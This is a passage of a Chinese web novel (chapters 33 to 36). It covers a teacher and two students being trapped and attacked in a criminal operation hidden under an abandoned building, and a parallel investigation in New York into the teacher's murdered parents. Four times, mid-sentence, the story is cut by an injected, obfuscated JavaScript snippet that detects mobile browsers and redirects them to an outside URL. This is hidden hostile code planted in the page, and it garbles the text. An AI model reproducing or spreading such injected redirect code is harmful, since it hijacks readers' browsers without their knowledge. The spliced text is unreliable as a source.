就在安格森花两秒钟迅速签完字、准备把人赶走的时候,一直站在苏佑容身后的黎子鸣说话了:“对了,校长那里说,这次任务需要老师你陪同,一起完成。” 安格森赶人的动作明显僵硬了一下:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192684|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么?” “校长说,这次任务你要和我们一起去。”黎子鸣又重复了一遍:“‘其他老师都全程跟,就你一直在休息,好歹最后一次任务稍微干点活。’校长让我这么说的。” “老师,你别担心,跟我们就是躺赢的。”苏佑容接着说道:“就当去外边转转活动活动,我们不会找你帮忙的。” “……”安格森沉默片刻,突然把身体让开,指了指客厅里的沙发,“你们先坐会,我打个电话。” 话罢,安格森走回卧室关上门,门后随即传来夏峰的彩铃铃声。 两个学生面面相觑,最后决定还是先坐下来再说。那边安格森在和夏峰打电话,估计要为了这件事争论一会儿,黎子鸣在老师的家里坐着也有些拘谨,不敢到处乱逛,只能开始肉眼观察房间里的布局。 安格森入职物零社不过三四个月时间,在这边的房子也是为了工作才租下,此时房间里东西不算多,但很有生活气息。比较明显的是,房里不止他一个人在住。门口的衣架和鞋架都明显有一些女性的衣物和鞋子,电视旁边的柜子上还摆着一张合照,坐在沙发上看去只能模糊看见是一男一女凑在镜头面前。 就在这时,房间里越来越大的争论声吸引走两人的注意力,隐约听到什么“你就不怕我伤口裂开当场死给你看”……没过多久,声音消失了,安格森黑着脸从房间推门而出。 看样子是没拗过夏峰,又被迫接下了工作,还得在周末干。 黎子鸣和苏佑容面面相觑,两人都不敢现在开口。 “林欣予呢?”安格森问两人。 “她去纽约了,不和我们一起。” “纽约?”听到这个地名,安格森顿了一下,眼底闪过什么,又马上不动声色地掩盖过去,“你俩,现在回去做准备,中午吃完饭后在学校门口集合。” “给你们一下午时间搞定这破事,别耽误我明天休息!” 33.调查 飞机落地纽约的时候,刚过正午。林欣予拖着小行李箱从飞机上下来,一股潮湿炎热的空气瞬间扑面而来,带着异国的气息彻底包围了她。 这不是林欣予第一次来纽约,还在中学的时候,她曾跟着父母在这边旅游过,然而这次抱着其他目的踏上这片土壤,感受总归不同。 秦竹一比她早到两天,主要目的是先探好路,免得林欣予在这边耽误时间。至于这个黑户怎么搞定护照签证之类的文件,她就没有细问了。等她到纽约时,秦竹一已经定好住宿,停好车,站在机场的出口等她。 见面后,两人也没什么寒暄,林欣予开门见山,问道:“查到什么了吗?” “查到一些有趣的东西,我们边走边说吧。”秦竹一领着她上车,一边走一边说道:“你们那个新老师,父亲是荷兰移民,母亲是在美华人,好像是三代前就移民到美国了,有着不错的家底,在纽约靠边的地方有栋别墅,我联系了他家旁边的邻居,明天可以去找她了解下情况。” “邻居?”林欣予疑惑道,“他父母呢?” 秦竹一轻笑一声,递去一张报纸,指了指右侧的板块:“这就是我说的,有意思的事。” 这张报纸看上去有点年代,边缘微微泛黄,纸张摸上去有些潮湿,但好在报纸上的油墨印刷依旧清晰。报纸的头版写的是一些政治信息,右边的侧栏里则刊登了一条社会新闻—— 一居民住宅遭遇入室抢劫,造成两死一伤,劫匪已被击毙。 看到这个标题,林欣予不由地一怔。她刚开始没理解秦竹一为什么要让她看这则新闻,但马上就反应过来,并且推测到一种可能性。 她顺着标题往下看,或许因为这样的事在纽约发生的太多,所以新闻只是一则简讯,大概写了事件的情况。三个劫匪在深夜入室,持枪抢劫,杀了房里的夫妻二人,邻居听到枪声后报警,及时赶来的警察救下了因为同学聚会而晚回家的孩子,击毙三个劫匪,事件到此结束。 林欣予来回看了几遍,又看了眼报纸日期,用确定的语气问道:“这个新闻里死去的夫妻,就是安格森的父母。” “没错。”秦竹一答道,“事情发生在他高中。高中毕业后他直接去了母亲的故乡、也就是中国、读大学并且工作,再没回到美国。” “你先前联系的邻居,就是新闻里说的那个报警的邻居?” “对,而且据我之前和她的交谈,他们两家关系还不错。”秦竹一又递过去一摞资料,“这是一些其他我能查到的资料,比较平平无奇,你可以看看。” 林欣予接过资料,开始翻看。这些资料确实很平常,小学在哪、中学在哪、得过什么奖项……都是些很无趣的东西。她不禁开始想自己还需要了解哪些事情,最开始,自己也不过是因为一些微妙的违和感才决定调查,但目前的这些资料除了那个入室抢劫的事件以外,都是如此稀松平常。唯一的突破点,似乎只有这个案子,但林欣予思来想去,都觉得这种事情发生在美国也算不上有多稀奇。 像是猜到林欣予在想什么一样,秦竹一伸手把资料翻回第一页,圈出一块地方让林欣予看:“可以看一下这里,他母亲的名字。” “名字?”林欣予之前确实没注意,这才往那块区域看去,父亲名字那里写着卢卡斯(Lucas),而母亲名字写着lu yun。 英文资料上没有汉字,他母亲是华人,名字肯定有对应的汉字,但此时却不知道这个拼音对应的汉字是什么。 “lu yun……”林欣予念着这个读音,眉头逐渐皱了起来:“你的意思是,他母亲很可能和鹿千有关系?” “不排除这个可能性。”秦竹一说,“光看读音,他母亲也有可能姓陆地的‘陆’,或是道路的‘路’。但这个读音的姓氏加上他的研究方向,我很难不怀疑什么。” 经他这么一提,林欣予才把这些串联起来。安格森的研究方向是妖类灭绝,并且据说是继承了母亲的研究方向……而鹿千,是为数不多仍存在于世的妖怪。 话虽如此,但林欣予实际上还没见过鹿千,对于这个存在的了解仅存在于叶琳的话语之中,现在她更在意的,或许是鹿千旁边那个名为苏瑾年的梦寐。 “对了,这个给你。” 秦竹一从车里的储物格拿出一个黑色的东西,转头把它递给林欣予。她疑惑地接过来,定睛一看,是一把黑色的自动手枪。 “虽然城里的治安不错,但还是拿点防身的东西好。” …… “虽然城里的治安不错,但还是拿点防身的东西好。” 中午,两个学生按照约定时间到学校教学楼门口集合时,安格森把两人叫进了办公室,并拿出了两个银色的手提箱,上面分别贴着编号。 两人都认识这个箱子,这是学校存放枪支的编号枪。 安格森把两个箱子放在桌上,一一打开,然后把箱子翻转个头,朝向黎子鸣和苏佑容那边。两个箱子里各是一把组装好的自动手枪,还有一个装满子弹的弹夹。 这是学生上射击课使用的手枪,由于物零社工作的特殊性,在一些任务中很可能会和警方的人员合作,训练的目的就是教会学生们枪械的基本用法,以便在个别极端情况下,学生也可以使用枪械进行防身。只不过一般用枪不会由物零社来提供,而是由警方提供罢了。 但之前的射击课,大部分时间使用的都是假弹,真正装填实弹射击的也只有结课考试那一次。 安格森看着两个孩子震惊的面容,决定还是再解释两句:“你们这次任务的区域,比起魑魅来说,那边的人可能更有威胁。流浪汉之类的还好,万一那块有什么我们不知道的□□,枪是最简单有效的防身武器。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197360|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他指了指放在一旁的枪袋:“用法应该都会吧。放心,我打了正规申请、走了正规手续,才把两支枪取出来,不是偷拿的。” 闻言,苏佑容好像松了口气,拿起枪开始研究功能有没有问题。但这句话好像还没消除黎子鸣的顾虑,迟迟没敢伸手接另一只枪,他犹豫着开口:“如果开枪了,后面需要写报告吗?就像我用零器那样。” “……要。” “那我就不拿枪了,”黎子鸣接着说,“我打架还挺厉害的,遇到危险的话不用枪也能保护自己。” 安格森倒是知道黎子鸣不擅长这种文字工作,但没想到他居然畏惧到这种程度。不过以黎子鸣的战斗能力,面对练家子也不会出什么危险,只要对方别持有枪械类武器就好。 “可以,不想拿就不拿了。”他把放黎子鸣跟前的箱子收回来,“我会先带着这把枪,如果任务过程中觉得有需要了,随时找我拿……苏佑容,不要现在就把手指放扳机上,也别拿枪口对着人!” 谈话期间,苏佑容已经非常熟练的把枪拆成零件、又用不到一分钟时间组装起来,此时正用手扣着扳机不知道想干什么,闻言只能讪讪地把枪收了起来:“我没开保险呢,话说老师你之前中过枪伤,不会有ptsd(创伤后应激障碍)吗?” “没有,但你别再跟我提这个事。”安格森一句话堵死了对方的嘴巴,他现在着实不想再听到有关他受伤的任何事情。当时治疗诊断出他的伤口是狙击枪造成后,物零社和申海警方都如临大敌,开始追查到底是谁持有管制枪支,还试图大摇大摆地在市内开枪杀人。结果从他受伤查到现在,一个半月的时间屁都没查出来,只会不断地找他,让他努力回忆当时中枪时的子弹是从哪个方位来的。 安格森只能回应道:你可以自己试着突然挨一枪,看能不能想起子弹是从哪射来的。 不过从先前苏佑容的动作来看,他对枪械的熟悉程度很高,如果安格森没记错的话,苏佑容之前射击课程的成绩断层优异,而旁边的黎子鸣则是堪堪及格,或许这也是他拒绝拿枪的原因之一。 看两人都准备得差不多了,安格森清了清嗓子,补充到:“我再多提几句,虽然这次任务我和你们一起去,但实际任务内容还是由你们自己完成。我的情况你们也知道,想帮忙也帮不上什么,但如果遇到危险的话……” 话说到这份上,黎子鸣和苏佑容基本都知道他下句要说什么,安格森现在重伤堪堪痊愈,甚至还不能剧烈运动,无疑是这三人里最脆弱的一个。但要学生去保护老师安全,对于老师来说多少有点难以开口,所以两人之前也商量过,本次任务会以保护安格森的安全为最优先。 但却没想到,安格森如此说到:“如果遇到危险的话,不要太顾虑我,也不要太顾虑什么良心道德。” “凡事皆以保全自己为最优先。” 34.烂尾楼 一年前,赵学明还是个无业游民,每天的日子就是白天和几个朋友跑街上找人收保护费,晚上跑麻将馆打麻将或者跑网吧打游戏,等凌晨再出来喝点小酒,顺便对着街上的妹子吹吹口哨……如果钱没花完就这样再花几天,花完了就再重复一遍这样的行动…… 直到自己的一个发小鬼鬼祟祟地问他,想不想干点别的? 发小认识个生意人,开了个工厂,现在应该叫他厂长,在做一些特殊的商品生意,为数不多的困难是商品货源难找,再加工工序比较复杂,以及风险大;但优势足以弥补这些,供小于求,而且远远小于,这就带来了极高的利润,卖出一份货的利润比赵学明收一年保护费的钱都多。厂长那现在正好缺人,但又怕招募外人会泄露商业机密,于是朝赵学明的发小抛出橄榄枝。 这等好事哪有不做的道理?两人一拍即合,隔天就去找厂长报道了。 工厂所在的地方有点偏僻,外表看上去是个废弃的烂尾楼,让赵学明一度怀疑自己被骗了,但当他被带着走入地下室里的一道铁门后,这种想法便消失得无影无踪。 门后的空间很大,基本把烂尾楼的内部重新装修了一遍,设置了不同区块,还有很多看着很高端的设备,让赵学明一时间有点头晕目眩。厂长是个看着很和蔼的中年人,带着赵学明了解工厂里的各个内容,而赵学明也是这时才发现自己居然有做这方面工作的天赋。除了最开始处理货物比较困难之外,其他的很多工作对于赵学明来说都是得心应手,不到半年,他就从一个小员工变成了手下有十几号人的小领导。 然而,最近几个月生意越来越不好做了。一个半月前,三个员工突然在大街上出车祸死亡,据描述身体都被创成了碎块,估计是现场过于惨烈,车祸的消息被封锁了,就通知了员工家属。结果家属跑来厂子要工伤赔偿,真是恶心,那三人半夜12点出车祸关工伤什么事?赵学明被骚扰烦了,想给几万块钱打发走,却没想满足不了人家碰瓷的胃口,还扬言要报警! 正当赵学明忍无可忍决定把这几个难缠的家属变成货物的时候,噩梦开始了。 那几个家属突然死在烂尾楼门口,断肢残骸散落一地,狰狞的伤口张牙舞爪,像是被什么东西硬扯下来,还被吃了不少。这事把赵学明吓得够呛,他可还没吩咐人去办这事,更何况他们动手根本不会搞得这么惨烈,这些伤口根本不像是人类做的,倒像是什么野兽。 若这怪事只处理这几个糟心玩意也还好,但没过多久,厂子里也出现了受害者,连续三天,每天都能在厂子的各个角落看到被撕碎的员工,厂里安保设施很完善,如果是外部侵入者的所作所为肯定会被发现——于是“厂里闹鬼了”这一传言开始发散,直到一个员工目睹自己的同伴突然漂浮到空中,身体仿佛被空气扯碎的死状,闹鬼从传言变成了事实。 就在欣欣向荣的工厂因为鬼神即将土崩瓦解的时候,厂长的合伙人来了。 合伙人看着不大,只有20多岁的样子,是个留长发的小白脸,还带着不伦不类的蓝色美瞳,一直神秘兮兮地戴着能遮住半张脸的口罩。那为什么说是小白脸?因为即使看不见脸,赵学明也觉得这人应该长得不错…… 合伙人来看了眼情况,转头带来一个…呃…一个道士?说是道士,但那人看着跟个雇佣兵一样,丝毫不符合普通人对道士的刻板印象。只见那雇佣兵道士让赵学明带路,在工厂里到处穿梭,像是在找什么东西。直到在处理货物的房间里,道士突然停下,抽出一把砍刀,开始对着空气耍杂技……还是应该叫做法? 别说,虽然没看懂,但道士的几个动作都挺高难度的,还挺有视觉观赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210318|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性。 半晌后,道士流着满头大汗说,搞定了。 赵学明那是一脸懵逼啊,这样就搞定了?他一时间怕自己给出那么多钱打水漂,一边又怕惹恼合伙人,所以把自己的顾虑和疑惑都先按下了。却没想到,从那天道士做完法之后,真的没再闹鬼了! 于是赵学明决定花高薪聘请这位道士在这常驻,除了驱鬼之外,这道士身强力壮,倒真也能发挥些雇佣兵的作用。 除了道士外,赵学明自然也该好好感谢那位牵线的合伙人,合伙人没要太多钱,只是对赵学明强调,不能告诉任何人见过他的事,更不能说这位道士是他介绍来的,否则工厂的怪事可能会愈发严重。 赵学明觉得奇怪,但这不是什么大事,所以也就随口答应了。 然而,一系列的怪事确实很影响正常工作进行,再加上工厂里减员了不少,这个月一直没能开锅,赵学明又开始着急忙慌地找货源。 当他发愁这事的时候,居然有几个年轻人自己凑到工厂所在的烂尾楼门口了。 来的是三个男的,其中两人看着年纪差不多。一个看着稍微大些,看着像外出做调研的大学生,也不知道怎么找来这块地方的。但这三人一看就是社会关系丰富的人,自己也不好对他们下手。 谁料,那群人盘问一圈烂尾楼里的流浪汉后,不知怎么回事,居然莫名往地下走去。赵学明还没来得及差遣那些流浪汉拦人,那三人居然就跑到了地下入口的大门前面!而不知道昨天值守的是哪个蠢货,居然没锁门,让他们把大门拉开了! 靠!这可不能再忍了,那几人要进去看见工厂了!不,现在已经晚了……赵学明咬咬牙,直接让外面的流浪汉锁上大门,干脆把那几人关在里面。 天堂有路你不走,地狱无门你自来,那可就怪不得谁了。 35.陷阱 在炎热的夏天出户外任务,绝对不是个舒服的事。 这块烂尾楼过去有个气派的名字,准备建成后用作大型商场,结果打好水泥后开发商破产,这栋残破的建筑就这样被撂在这里。而由于其一开始的规划,楼内有很多照不到阳光的阴凉处,于是在夏天成为诸多流浪汉的栖身之所。 而黎子鸣和苏佑容的任务,最开始就选定这里的流浪汉作为突破点。 这些流浪汉说好对付也好对付,只要给上二三十零钱就能问出一些情报;但说不好对付也不好对付,一些流浪汉拒绝和他们这种看着光鲜亮丽的人沟通,警戒心很强,深怕是来把他们驱逐出这里的工作人员。 顶着高温询问了一圈后,两人并没有什么收获。 “我们是不是来太早了?”苏佑容早就热得大汗淋漓,猛灌了一瓶水下肚,“应该大晚上来吧,白天很难看见魑魅的。” “上课白讲了。”安格森拿手里的小电风扇拍了一下他的后脑勺:“魑魅多在晚上出现是刻板印象,实际上在白天被发现的魑魅更多,毕竟它是黑的,晚上其实更难看见。” 这一下可是把所有抱怨给拍回去了。苏佑容哪里不知道这种常识,就是想抱怨安格森着急忙慌地拉他们大热天出任务。按他的计划,等太阳快下山,天气凉快一点后,两人晚上溜达一圈,一无所获后就能回去报告了。但现在安格森撵着他们在最热的下午做完了这些事,结果还是一无所获。 他们已经几乎问完了这栋楼里所有能问的人,只剩地下停车场还没去。这地方虽然没什么正经人,但出奇地安宁,没有一点魑魅祸乱的痕迹,就连安格森也判断这里应该没有问题,许诺被热得不行的二人看完地下停车场就可以撤退——但问题偏偏就在地下停车场出现了。 这是唯一一个主动找上他们的人,在几人刚刚进入地下停车场的时候。对面是个有点年龄的女人,穿着被洗得发白的T恤,皮肤黝黑,颤颤巍巍地走上前来:“能帮我一个忙吗?” 女人抬起手臂,伸手指向停车场深处的一扇铁门:“我女儿前天进了那扇门就再没出来过了,能不能……帮我去找找她?” 闻言,黎子鸣和苏佑容都没有说话,而是面面相觑,仿佛在从对方的眼神里确认什么东西。陷阱,赤裸裸的陷阱,这也太明显了。突然莫名出现的女人,突然就找上他们让帮忙,指了一个那么诡异的地方,小学生都能看出这其中肯定有什么陷阱圈套。 但现在二人都从对方的眼神中读出一点想要将计就计的意思,毕竟走都走到了这里,出现这样一个诡异的人,指向这样一扇诡异的门,确实让人很好奇里面究竟是什么东西。万一是魑魅呢?那这次任务的分数可是会飙升啊。 眉来眼去间,二人很快确定了彼此想法,于是又很有默契地转头看向身后的安格森。 安格森倒是没什么表情变化:“你们自己的任务,自己定夺,反正在我这只要检查完停车场,就算你们完成。” 只能说,他们的指导老师是安格森算是幸运也算是不幸,如果换成其他老师,此刻断然不会采取这样放纵的态度。此时摆在他们眼前的无疑是一个人为的陷阱,在这种三不管地带的陷阱会是什么?往好说可能是小混混,往坏说不定是什么黑组织的窝点,这不同于那些鬼怪之事,这种情况下的人类往往比神鬼更加可怕。 但安格森丝毫不怕这些,也不知道他的判断来自于哪里,或许提前申请的两把枪就是为了这样的事做准备,总之本该阻拦两个学生的现在,他选择了默许。但他当然也留了退路,如果学生们打退堂鼓,他第一个带着人跑路,之后无视也好报警也好,那都是后话了。 然而,两个初生牛犊不怕虎的孩子,丝毫没有撤退的想法。 “那就……”黎子鸣颇有礼貌地向那明显没安好心的女人说道:“麻烦你带路吧。” 说是带路,其实也就那一条路,门是一扇镶在停车场墙壁上的铁门,位于停车场的深处,只有一点微弱的自然光从远处透过来,整体非常的昏暗。女人帮他们拉开门,开门的一刹那,一股钻心的凉气从门内倾斜而出,像是只开了十度的空调,一下就把几人的燥热扫清了不少。 “就、就在这里面……”女人抖得更厉害了,像是见了什么可怕的事情一样,握住门把的手一直在颤抖,眼神也躲闪起来,根本不看向三人。 门内是一个长条形的狭窄走廊,只能允许两个人并列行走。走廊顶上居然挂着灯,每隔两米有一盏,还通着电,昏暗的灯光一闪一闪,只能勉强看清走廊的样子。除此之外,走廊的墙壁和地面干净的诡异,墙面刷着白漆,还有一股淡淡的油漆味,像是刚刚重新粉刷过。地面上则铺着长方形瓷砖,灰绿色,像是澡堂里铺设的那种,被人拖得发亮,甚至能反射出一些灯光的弧度。这几样装饰结合在一起,绝对是个拍恐怖片的绝佳选址。 门内的场景不由地让人一怔,苏佑容见状也打起退堂鼓,后退半步:“我们别进了,要不报警吧。” 转头,他看见黎子鸣盯着里面,指指一侧墙壁:“你看那。” 只见白墙突然浮现一个诡异的黑色图案,又突然消失,又突然出现……像是游戏中穿模的建模,被卡在墙里。 安格森皱眉,警惕起来:“魑魅。” 这地方居然真的有魑魅,还是这样诡异的形态。那魑魅在白墙上蠕动,居然也不往外攻击,像个守门人一样守在那里。带路的女人看不见魑魅,还在催促:“你们……你们快进去啊!” 黎子鸣没理她的话,向前几步走入门中,从背包里抽出一柄小刀,灌注灵力,径直投掷过去。“噗”的一声轻响后,小刀扎入墙壁,那魑魅顿时滋滋冒烟,顷刻便化为乌有。当然,那把小刀也随之变为粉尘坠落,只在墙上留下一个口。 “没事了……”黎子鸣刚想转身,却被两人重重地撞了进去!原来刚刚黎子鸣飞刀,安格森和苏佑容都不由得凑近看看,离门口也就半步的距离,不料那女人突然暴起发力,趁两人分神,居然直接把他们推了进去!苏佑容没站稳,重重摔倒。他摔倒前伸手乱抓,抓住安格森的衣服,又让安格森趔趄几步,直直撞上了黎子鸣的背! 三人就跟多米诺骨牌一样,顿时倒了一地,而那女人一边大喊着“对不起”,一边猛地合上了铁门。 随后“砰”的一声巨响,厚重的铁门牢牢关上,彻底隔绝了门外炎热的空气。 “啊!”与之同时响起的,还有苏佑容的惨叫声。门合上以后,光线瞬间黑暗,几人都陷入短暂地失眠,苏佑容本就不算胆大,早打了退堂鼓,此时又被一推,更是惊得魂都差点下没。还是安格森反应快,一手一个,把两人捞起来站好。 黎子鸣倒淡定,他伸手握住门把手,试图向下扭转,但门把就像被焊死一样丝毫不动,毫无疑问,三人此时被彻底关在了门的后面。 黎子鸣和安格森对此没有丝毫反应,门会在几人进来后锁死,这都是他们早有预料的事情。苏佑容其实也预料到这点,但真正发展到这里时,他觉得自己的心态有些崩了,对未知的恐惧远比他想象的更加浓烈。那扇门是电子锁,可以在门框上方看见锁扣的位置,可以试试能否开枪破坏门锁。 而这两人接下来的举动彻底按灭了苏佑容刚打响没多久的退堂鼓。 只见黎子鸣满不在乎地说道:“门锁了,还要继续往前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210319|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走吗?” 安格森也同样满不在乎地回道:“你们慢慢决定,这里空调还挺凉快的。” 于是黎子鸣探头望向苏佑容:“你还好吗?要是你害怕的话,我们现在还能离开。” 这句话可是一下把苏佑容架了起来,黎子鸣这人也离谱,看上去懵懵懂懂的一副乖学生样子,偏偏毫不经意地一句话戳到苏佑容痛点上。他是有点害怕,但事到如今不能怂啊,更何况其他两人都是一脸平淡冷静甚至有些跃跃欲试的样子,自己打头进来,怎么能率先退开,自己可是苏家的长子,未来的继承人,更应该在这个时候做出表率…… “我、我就是刚刚被声音吓了一下,哪里有害怕!”苏佑容强压着有些颤抖的声音,又朝着前面走去:“往里看看再说。” 走廊很窄,只能容下两个人肩并肩行走,三人没必要硬挤,所以按照进门的顺序依次往前走,黎子鸣走在最前面,苏佑容在最后,反倒是把安格森保护在了中间,既不用上前开路,也不用断后。 走廊不长,没一会儿就到了尽头,尽头是一片黑暗,不过似乎是块开阔的空间,苏佑容拿手机开手电筒,顺着墙壁摸索到一个电源开关,打开后,明亮的白炽灯光彻底照亮了这片区域。 这里像是一个后备仓库,放着一些落灰的中型机械设备,看上去像中央空调的外机,不过它们还没等到安装就已经永远失去发挥功效的机会,此时只能躺在这块空荡的地下仓库里落灰。 “这里到底是什么地方?”看到这些废弃的现代化设备,苏佑容的恐惧好像消减了不少,他敲了敲铁皮,铁皮震动混着中间的空气传来有些闷的声音,震落下不少灰尘,废弃的烂尾楼里面存放这些东西不奇怪,但为什么会通电?而且把他们引进来的女人那副模样,肯定存在猫腻。苏佑容环顾四周,想要找出什么线索,但始终没看出什么端倪。 环顾着环顾着,苏佑容把目光投向自己的两个“同伴”,只见这两个人东看看西看看,都跟在逛大街一样,一副派不上作用的样子。但这也正常,安格森说过不会干涉他们的任何任务过程,黎子鸣是个只会打架的傻子,到头来还是只能靠自己。 正当他这样自恋地想着时,一直没怎么说话的安格森突然开口了:“这里没什么东西,我们现在离开。” 这句话让其他两人四处查看的动作都停住了,正如苏佑容刚刚思考的一样,安格森从未对整个任务过程发表过任何意见,但现在不一样,他既然发言让人离开,那必定是在这里发现了什么,而且是不太好的迹象。 他确实发现了苏佑容没发现的东西,摆在这里的废弃机械上虽然布满灰尘,但是地面上的灰尘却远少于那些机械上,一侧紧闭的铁门,门框上灰尘不少,门把却锃光瓦亮,证明这地方其实经常有人经过,但一般只是用于通道,没有人在这长期活动。房间天花板上排列着三盏长条形的白炽灯,最右边那盏异常明亮,估计是新换的,证明这地方有人经常维护……最重要的是,他在一处机械的角落发现了血迹,虽然看上去被擦拭过,但并没有彻底清理干净,血迹是五个模糊的点,间距完美符合一个人类张开的手指,这只手死死握着机械上的钢管,直到攥出血迹,而这血迹旁边的地上就是灰尘留下的拖拽痕迹。 此地确实不易久留,这已经超过了物零社的任务范围,事已至此,安格森必须阻止学生们继续深入,所以他以命令的语气下达第一个指令。 然而有些地方,一旦踏入就没那么好离开了。 几乎在他说出这句话的同一时刻,苏佑容的背后不知从哪蹿出一个五大三粗的黑衣男人,手里拿着胳膊粗的木棒,朝着他的脖颈毫不犹豫地打了下去! 36.围困 把三人关进来的过程,比赵学明想的容易。 看着几人走进门,赵学明立马按死电子锁,派了三个打手埋伏在破仓库里,只等一个瓮中捉鳖。他掐指算着三人的价值,觉得这票干完可以至少休息半个月,可能有的风险都不管了,心里顿时间乐开花。没想到那个染红头发的非主流居然突然说要走,虽然已经锁上门,但赵学明还是一下子急了,赶紧用对讲机叫打手动手,就从那个看上去最弱鸡的开始。 监控摄像里,打手从视线盲区蹿跳飞出,拿着手里的钝器以迅雷不及掩耳之势挥舞击下,而那弱鸡甚至没有转头,更别说看到袭击的打手。 对于赵学明来说,已然是唾手可得的一大笔钱财。 但没想到的是,旁边突然蹿出一个人影,一个飞扑扑倒那还没反应过来的弱鸡,在千钧一发之际躲过了那一棒槌! “艹!”赵学明一句脏话脱口而出,朝着对讲机里大声喊道:“上!都他妈一起上!” …… 直至被黎子鸣扑倒在地上,苏佑容才看到自己背后的打手,那根手臂粗的木棒打到了旁边的机械铁皮上,砸出一个颇深的凹陷,如果黎子鸣没扑倒他,那此时凹陷的估计是他的颅骨。 冷汗瞬间浸透苏佑容的衣服,他学过基础防身术,虽然学得稀烂但也不至于手无缚鸡之力,而当真正遇到这种由人类散发出的纯粹恶意时,他发现身体不听使唤了,紧张和恐惧分泌的肾上腺素没有导致潜能激发,反而让他手脚发软,大脑一片空白,完全无法思考下一步该做什么。 但好在,黎子鸣没有受到任何影响,他的反应依旧迅速灵敏,在扑开苏佑容的同时立马反身站起,一个毫不收力的回旋踢精准命中那五大三粗的打手的脑袋,对方“砰”的一声被踢飞撞在机械上,在铁皮上留下一个比木棒击打还深的凹陷。打手两眼一翻,就这么倒地上晕了过去。 苏佑容怔怔地看着黎子鸣一系列行云流水的动作,直到黎子鸣放下被飞溅血迹沾染的裤腿,他才反应过来发生了什么。 然而,还没等人松一口气,仓库的另一边响起安格森的声音:“别放松!还有两个人!” 一边说着,安格森那边也传来一声巨响,是金属和金属碰撞的声音,那边的打手也拿着武器,而且是金属武器,杀伤力远比木头强得多。黎子鸣一手捡起已经晕倒的那人留下的木棒,一手拽起苏佑容:“我们去安老师那边帮忙!” 安格森那边的情况不容乐观,朝他袭击的打手拿着一根近一米长的撬棍,一样从身后朝着脖颈袭击,只是被安格森听见了脚步声,所以他堪堪躲过了这一击。但他没有黎子鸣那样能一脚把人踹飞的身体素质,只能有些狼狈地躲闪。 躲闪的中间,目光之余,他还看见稍远的地方闪过另一个人影,手上好像端着什么。还有一个人,但安格森现在无暇顾及,只能直接开口提醒另外二人。 那打手看上去作案经验十分丰富,招招朝着要害处打,都是往死里用劲,撬棍被砸得甚至有点变形。但饶是如此他愣是没打中安格森,对面像条泥鳅一样,明明每次都接近得手,但危急关头总能被躲过去。气急败坏的男人挥舞着棍子逐渐没了章法,一顿猛攻下把安格森逼进角落,已然避无可避—— 就在这时,熟悉的一幕出现了。 一个黑色的身影从视线死角处蹿出,以迅雷不及掩耳之势,朝着脖颈要害挥下手臂粗的木棍…… 黎子鸣显然要技高一筹,简单干脆的一击,让晕倒的打手变成了两个人。 还差一个人,这人目前躲在暗处不出声,八成是有什么阴招—— 想到什么来什么,黎子鸣刚刚把那人锤晕,一簇微小不可闻的破空声猝不及防地响起,眼看就要击中黎子鸣,却不想他突然把手里的木棍挡在身后,正好拦住了那被射来的东西。 定睛一看,扎在木棍上的是个按着细长针头的针管,里面灌着透明无味的液体,十成十不是好东西。 “是麻醉枪,找掩体躲起来!”安格森一眼就认出那针管代表着什么,现在敌在暗我在明,对面还是个打阴枪的,一旦被击中那就是全盘皆输。 但比起躲起来,两个学生明显发现了更迅速的解决方法。苏佑容此时已经完全缓过神来,只看了一眼扎在木棍上的麻醉针管,立刻朝黎子鸣大声报点:“11点方向第三个机械的后面!” 在苏佑容说出“11点”这几个字时,黎子鸣就飞了出去,没到两秒就冲到苏佑容报出的位置,那人正拿着麻醉枪换弹,表情没来得及变成惊恐,就被他们自己准备的凶器抡倒在地。 至此,三个打手总算被处理完毕了。 …… “那个男的什么情况!”赵学明看着摄像头里的黎子鸣,发出不解的怒吼:“这些人什么来历,条子吗!?” 